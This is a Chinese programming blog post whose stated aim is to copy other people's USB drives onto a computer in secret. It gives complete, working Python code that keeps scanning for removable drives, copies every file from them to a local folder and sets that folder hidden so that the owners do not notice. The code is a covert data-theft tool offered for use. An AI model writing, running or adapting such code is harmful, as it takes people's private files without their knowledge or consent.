python实现偷偷复制U盘到电脑,并将文件设为隐藏,别人也没法察觉

主要功能:一直循环检测可移动磁盘,如果发现有,立马复制文件。有多个U盘也可以

复制代码功能没有直接用copytree。

费话不多说,直接上代码

import os
import shutil
from psutil import disk_partitions
import win32con
import win32api


def ver_is_file(filepath, target, is_hiddened):
    try:
        for i in os.listdir(filepath):
            if os.path.isdir(filepath + '\\' + i):
                if not os.path.exists(target + '\\' + i):
                    os.makedirs(target + '\\' + i)
                if is_hiddened is False:
                    print('设置目标文件为隐藏')
                    hidden_file = target.split('\\')[0]+'\\'+target.split('\\')[1]
                    win32api.SetFileAttributes(hidden_file, win32con.FILE_ATTRIBUTE_HIDDEN)
                    is_hiddened = True
                ver_is_file(filepath + '\\' + i, target + '\\' + i, is_hiddened)
            elif not os.path.exists(target + '\\' + i):
                print('正在复制文件:', filepath + '\\' + i, end='')
                print('  到->>>>>>: ', target + '\\' + i)
                shutil.copy(filepath + '\\' + i, target + '\\' + i)
    except Exception as e:
        print('出现异常信息:', e)
        print('找不到U盘,U盘可能已经被拔出')


def find_disk():
    disk_list = []
    is_disk = False
    for item in disk_partitions():
        if 'removable' in item.opts:
            driver, opts = item.device, item.opts
            print('发现usb驱动盘:', driver)
            disk_list.append(driver)
            is_disk = True
            continue
        else:
            print('没有找到可移动驱动盘,继续扫描')
            continue
    return disk_list, is_disk


def start_detecting():
    target_file = 'D:\\u盘文件'
    is_hiddened = False
    while True:
        disklist, is_disk = find_disk()
        print(disklist)
        if disklist is not None and is_disk:
            for i in disklist:
                ver_is_file(i, target_file + '\\' + '来自'+i[0]+'盘', is_hiddened)


if __name__ == '__main__':
    start_detecting()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值